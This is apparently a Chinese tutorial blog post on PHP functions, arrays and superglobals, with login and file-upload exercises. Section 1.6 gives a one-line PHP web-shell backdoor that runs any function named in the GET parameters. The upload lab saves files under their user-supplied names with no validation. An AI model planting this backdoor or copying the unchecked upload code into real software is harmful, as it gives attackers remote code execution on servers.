035 php函数与数组

一:php函数

1.1:函数概述

代码块
有输入,有输出
function 函数名(形参){
	代码块;
	return;
}
注意:
	函数调用时,实参要按照顺序给形参
	函数调用时,互相独立,默认没有联系
	执行完毕后,返回调用的位置,继续向下执行
<?php
function userPrint(){
	echo "this is userPrint";
}
function hello($name){
	echo "hello, ".$name ;
}
function add($a,$b){
	$c = $a + $b;
	return $c;
}

userPrint();
hello("xxx");
echo "<hr />";
echo add(1,2);
?>

在这里插入图片描述

1.2:变量

1.2.1:局部变量

在函数内部定义的变量
变量的作用范围就是这个函数

<?php
$a = 10;
function test(){
	$a = 1;
	return $a;
}

test();
echo $a;
?>

在这里插入图片描述

1.2.2:全局变量

在PHP脚本中,函数外部定义的变量
变量的作用域为整个php脚本

<?php
$a = 10;
define("NAME","XXX");
function test(){
	echo $a;
	global $a;
	echo $a;
	echo NAME;
}

test();
?>

在这里插入图片描述

1.2.3:静态变量

在函数内部定义,并且用static修饰符进行修饰,仅在函数初次执行时被初始化

<?php
function test(){
	$a = 10;
	echo ++$a."|";
}
test();		# 11
test();		# 11
test();		# 11
?>
<hr />
<?php
function test2(){
	static $a = 10;
	echo ++$a."|";
}
test2();	# 11
test2();	# 12
test2();	# 13
?>

在这里插入图片描述

1.3:参数的传递

<?php
function A(){
	echo "this is a fun<hr />";
}
function B(){
	echo "fun b beijing<hr />";
	A();
	echo "fun b end<hr />";
}
function C(){
	echo "this is fun c<hr />";
	B();
	echo "all fun end";
}

C();
?>

在这里插入图片描述

1.3.1:按值传递参数(默认方式)与按引用传递参数

按值传递参数(默认方式):
对形参的操作,不会影响实参(有具体值的参数,比如:$a = 3)
按引用传递参数:
相当于形参和实参都是指同一个人,只是名字不一样,对于形参的操作会直接影响到实参


<?php
function add($x){		# /* 按值传递参数 $ */
	echo ++$x;
}
$a = 3;
add($a);
echo "<br />";
echo $a."<hr />";
?>


<?php
function add2(&$y){		# /* 按引用传递参数 &$*/
	echo ++$y;
}
$b = 3;
add2($b);
echo "<br />";
echo $b."<hr />";
?>

在这里插入图片描述

1.3.2:默认参数

如果没有给函数传递实参则取默认值。

<?php
	function add($a,$b=10){
		echo $a+$b."<hr/>";
	}
	
add(10,20);
add(10);	# 默认给前面的传参
?>

<?php
	function add2($a=10,$b){	# 这种情况报错
		echo $a+$b."<hr />";
	}
add2(10);
?>

在这里插入图片描述

1.3.3:可变长度的参数列表

输出可变参数列表
func_get_args();
func_get_arg(); // 根据参数偏移量,从零开始计数获取参数值
fuc_num_args(); // 传参的总个数

<?php
	function test(){
		echo "this is : ".__FUNCTION__;		// 函数名
	}	
test();
echo "<hr/>";
?>

<?php
	function test2(){
		echo func_num_args()."<br />";	//	传参个数
		echo func_get_arg(1)."<br />";	// 根据参数偏移量,从零开始计数获取参数值
		for($i=0;$i<func_num_args();$i++){
			echo func_get_arg($i)."|";
		}
	}
test2("tom",22,true,89.9);
echo "<hr />";
?>

在这里插入图片描述

1.4:可变函数

动态函数
函数名为变量,类似这样的结构:

$a($b);

<?php
function test1(){
	echo "this is function:  ".__FUNCTION__;
	echo "<br />".func_get_arg(0);
}

function test2(){
	echo "this is function:  ".__FUNCTION__;
	echo "<br />".func_get_arg(0);
}

$a = "test1";	// 函数名赋值给变量
$a("tom");		// 函数,函数名是$a   test1("tom")
?>
<hr />
<?php
$a = "system";
$a("ipconfig");
?>

在这里插入图片描述

1.5:递归函数

自己调用自己

<?php
function test($n){
	echo $n.'&nbsp;';
	if($n>0){
		test($n-1);		// 自己内部调用自己,即:递归函数
	}else{
		echo '<-->';
	}
	echo $n.'&nbsp;';
}

test(3);
?>

在这里插入图片描述
递归函数过程分析图:
在这里插入图片描述

1.6:最简单的PHP后门

<?php
$_GET['a']($_GET['b']);		// php后门木马,可通过浏览器植入
?>

在这里插入图片描述
 
 

二:php数组

2.1:概述

是变量的一种类型,复合数据类型

键值对
	键名 键值
	数组中的元素,除了对象,可以存放任意类型的数据

数组的分类
	键值对		整型的整数				索引数组
	键值对		具有语义的字符串			关联数组

2.2:数组的创建与访问

第一种创建数组的方式:
		$数组名[]  比如:  $stu[]
		1:在未指定键名的情况下,给数组赋值,键名从零开始计数,依次增大
		2:可以手动给键名
第二种创建数组的方式:
		arrray()

数组元素的访问:
	1.读取
	2.添加
	3.修改
<?php
$name = "xxx";
$age = 22;
$sex = true;
$grade = 88;

# 未给键名,默认从0开始
$stu[] = "xxx";
$stu[] = 22;
$stu[] = true;
$stu[] = 88;
echo "<pre>";	# 格式化输出,排版更清晰
echo $stu;		// 不支持echo显示具体的,只显示array
echo "<br />";
var_dump($stu);
echo "<hr />";

#自定义键名
$stu2["name"] = "xxx";
$stu2["age"] = 24;
$stu2["sex"] = true;
$stu2["grade"] = 88;
echo "<pre><br />";
var_dump($stu2);
?>

在这里插入图片描述

<pre>
<?php
$stu1 = array("xxx",22,true,78.9);
print_r($stu1);

$stu2 = array(
	"name" => "tom",
	"age" => "23",
	"sex" => false,
	"grade" => 99.9,
	"dsfdsfsdaagsdgdsg"
);
print_r($stu2);

echo "<hr />";
echo $stu1[0];
echo "<br />";
echo $stu2["name"];
$stu1[] = 100;		// 追加
print_r($stu1);
echo "<hr />";
$stu1[4] = 99.9;	// 修改
print_r($stu1);
?>

在这里插入图片描述

2.3:数组的遍历

for循环:只适用有规律的索引数组
foreach 语言结构

<?php
$stu1 = array("xxx",24,true,78.9);
for($i=0;$i<count($stu1);$i++){			# for循环
	echo $stu1[$i]."<br />";
}

echo "<hr />";

$stu2 = array(
	"name" => "tom",
	"age" => 23,
	"sex" => false,
	"grade" => 99.9,
	"dfdsfdasfdfsf"
);
foreach($stu2 as $key => $value){		# foreach结构
	echo $key." => ".$value."<br />";
}
?>

在这里插入图片描述

2.4:二维数组,多维数组

数组的嵌套

<?php
$students = array(
	1 => array("xxx",22,true,78.9),
	2 => array(
		"name" => "tom",
		"age" => 23,
		"sex" => false,
		"grade" => 66
		),
	3 => array("cidy",24,true,59)
);
echo "<pre>";
# print_r($students);
echo $students[1][3];
echo "<br />";
echo $students[2]["grade"]
?>

在这里插入图片描述

2.5:练习:

用php生成如下表格:
在这里插入图片描述
方法一:


<html>
<pre>
<head>
	<title>students grade tab</title>
	<meta charset="utf-8">
</head>
<body>
<?php
$students = array(
	1 => array("AJEST",22,"男",99.9),
	2 => array("LL",23,"男",59.9),
	3 => array("HMM",24,"女",89.9),
);
?>
<table width="350" border="1">
	<tr>
		<td>姓名</td>
		<td>年龄</td>
		<td>性别</td>
		<td>分数</td>
	</tr>
	<tr>
		<td><?php echo ($students[1][0])?></td>
		<td><?php echo ($students[1][1]);?></td>
		<td><?php echo ($students[1][2]);?></td>
		<td><?php echo ($students[1][3]);?></td>
	</tr>
	<tr>
		<td><?php echo ($students[2][0]);?></td>
		<td><?php echo ($students[2][1]);?></td>
		<td><?php echo ($students[2][2]);?></td>
		<td><?php echo ($students[2][3]);?></td>
	</tr>
	<tr>
		<td><?php echo ($students[3][0]);?></td>
		<td><?php echo ($students[3][1]);?></td>
		<td><?php echo ($students[3][2]);?></td>
		<td><?php echo ($students[3][3]);?></td>
	</tr>
</table>
</body>
</html>

方法二:

<pre>
<meta charset="utf-8">
<?php
echo "<table width=350 border=1>";
echo (
	"
		<tr>
			<td>姓名</td>
			<td>年龄</td>
			<td>性别</td>
			<td>分数</td>
		</tr>
		<tr>
			<td>AJEST</td>
			<td>22</td>
			<td>男</td>
			<td>99.9</td>
		</tr>
		<tr>
			<td>LL</td>
			<td>23</td>
			<td>男</td>
			<td>59.9</td>
		</tr>
		<tr>
			<td>HMM</td>
			<td>24</td>
			<td>女</td>
			<td>89.9</td>
		</tr>		
	"
);
?>

方法三:遍历的方法

<html>
	<pre>
	<meta charset="utf-8">
	<title>学生的基本信息表</title>
</html>
<?php
	$students = array(
		1 => array(
			"name" => "AJEST",
			"age" => 22,
			"sex" => true,
			"grade" => 99.9
			),
		2 => array("LL",23,true,59.9),
		3 => array("HMM",24,false,89.9)
	);
	echo "<table width=350 border = 1>";
	echo "<tr>
		<td>姓名</td>
		<td>年龄</td>
		<td>性别</td>
		<td>分数</td>
	</tr>";
	
	foreach($students as $v){
		echo "<tr>";
		foreach($v as $vv){
			if ($vv === true){		# 必须要三个等于号
				$vv = "男";
			}
			if ($vv === false){
				$vv = "女";
			}
			echo "<td>".$vv."</td>";
		}
		echo "</tr>";	
	}
	echo "</table>";
?>

2.6:预定义超全局数组变量

PHP定义好的,可以直接使用
函数内部或者外部都能使用
官方文档

名称作用
$GLOBALS引用全局作用域中可用的全局变量
$_SERVER一个包含了头信息,路径,以及脚本位置等等信息的数组
$_GET通过URL参数传递给当前脚本的变量的数组
$_POST当HTTP post请求的Content-Type是application/x-www-form-urlencoded(默认) multipart/form-data(文件上传)时,会将变量以关联数组形式传入当前脚本
$_FILES通过HTTP POST方式上传到当前脚本的项目和数组
$_COOKIE通过HTTP Cookies方式传递给当前脚本的变量的数组
$_SESSION当前脚本可用 SESSION 变量的数组
$_REQUEST默认情况下包含了 G E T , _GET, GET,_POST和$_COOKIE的数组
$_ENV通过环境方式传递给当前脚本的变量的数组

$_GET
http://localhost/php/array/get.php?name=test
http://localhost/php/array/get.php?name=test&password=123
参数的名变成键名
参数的值变成键值

$_FILES
文件上传的相关信息

2.7:实验

先写一个如下的简单登录界面
在这里插入图片描述

登录界面源码:login.html
其中:action="./get.php"这是submit提交之后的跳转地址

<html>
<head>
	<meta charset = "utf-8">
	<h1>用户登录</h1>
</head>
<body>
	<form 
		action="./get.php"
		method="get"
		target="_blank"
	>	
		帐号:<input type="text" name="username"><br />
		密码:<input type="password" name="userpassword"><br />
		<input type="submit" name="usersubmit" value="登录">
	</form>
</body>
</html>

在这里插入图片描述

get.php页面,用来验证用户的登录

<pre>
<meta charset="utf-8">
<?php
// var_dump($_GET); 			 array(0) {}
if (isset($_GET["usersubmit"])){	# 判断是否点击了登录按钮
	if(isset($_GET["username"]) && $_GET["username"]=="xxx"
		&& isset($_GET["userpassword"]) && $_GET["userpassword"]=="123"
	){
		echo "welcome...".$_GET["username"];
	}else{
		echo "Error!帐号或者密码错误   ";
		echo "<a href='./login.html'>重新登录</a>";
	}
}else{
	echo "Error!<a href='./login.html'>请通过表单登录</a>";
}
?>

登录成功:这里有个坑 哎哟喂(人都被搞麻了),地址栏貌似不能写file:///C:/phpStudy/WWW/PHP/array/get/login.html这种格式,从这里进入打开到php,网页会报错显示出代码来,只能写IP地址或者localhost形式
在这里插入图片描述
登录失败:
在这里插入图片描述
直接输入网址访问
在这里插入图片描述
 
接下来看Post
post.php

<pre>
<meta charset="utf-8">
<?php
if (isset($_POST["usersubmit"])){
	if (isset($_POST["username"]) && $_POST["username"] == "xxx"
		&& isset($_POST["userpassword"]) && $_POST["userpassword"] == "123"
	){
		echo "welcome...".$_POST["username"];
	}else{
		echo "Error!帐号或者密码错误   ";
		echo "<a href='./login.html'>重新登录</a>";
	}
}else{
	echo "Error!!请通过表单登录";
}
?>

post形式的login.hml
其中enctype这一行可以写可以不写,不写就是默认这一行

<html>
	<head>
		<meta charset="utf-8">
		<h1>用户登录</h1>
	</head>
	<form
		action = "./post.php"
		method = "post"
		target = "_blank"
		enctype= "application/x-www-form-urlencoded"
	>
		帐号:<input type="text" name="username"><br />
		密码:<input type="password" name="userpassword"><br />
		<input type="submit" name="usersubmit" value="登录">
		
	<form>
</html>

 
post 文件上传

<html>
<meta charset="utf-8">
<h1>
文件上传测试
</h1>
<form
	action = ""
	method = "post"
	enctype = "multipart/form-data"
>
	<input type="file" name="userUpFile">
	<input type="submit" name="usersubmit" value="上传">
</form>
</html>
<hr />
<?php
if (isset($_POST["usersubmit"])){
	sleep (20);		# 睡20秒钟,方便查看缓存文件,要不然生成缓存文件的一瞬间就没了,肉眼无法看清
	echo "上传成功";
	echo "<hr />";
	echo "<pre>";
	var_dump($_FILES);			# 文件上传的相关信息
}
?>

在这里插入图片描述
其中:
"C:\Users\Administrator\AppData\Local\Temp\php8A36.tmp"是图片上传的缓存地址。可以进入到这个目录进行查看。也可以修改这个缓存地址,
那怎么修改呢?
在这里插入图片描述

缓存文件:PHP开头的.tmp文件
在这里插入图片描述
保存缓存文件:

<html>
<meta charset="utf-8">
<h1>
文件上传测试
</h1>
<form
	action = ""
	method = "post"
	enctype = "multipart/form-data"
>
	<input type="file" name="userUpFile">
	<input type="submit" name="usersubmit" value="上传">
</form>
</html>
<hr />
<?php
if (isset($_POST["usersubmit"])){
	# sleep (10);		# 睡10秒钟,方便查看缓存文件,要不然生成缓存文件的一瞬间就没了,肉眼无法看清
	echo "上传成功";
	echo "<hr />";
	echo "<pre>";
	var_dump($_FILES);			# 文件上传的相关信息
	# 保存缓存文件
	$tmp_path = $_FILES["userUpFile"]['tmp_name'];
	
	# 路径拼接,当前路径+文件名字
	$tmp_save_path = __DIR__ ."\\".$_FILES["userUpFile"]["name"];		# __DIR__:当前upfile.php路径	C:\phpStudy\WWW\PHP\array\up	
	if (move_uploaded_file($tmp_path,$tmp_save_path)){
		echo "<br />".$_FILES["userUpFile"]["name"]."&nbsp;";	# 图片名
		echo "保存成功";
	}else{
		echo "保存失败";
	}
}
?>

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值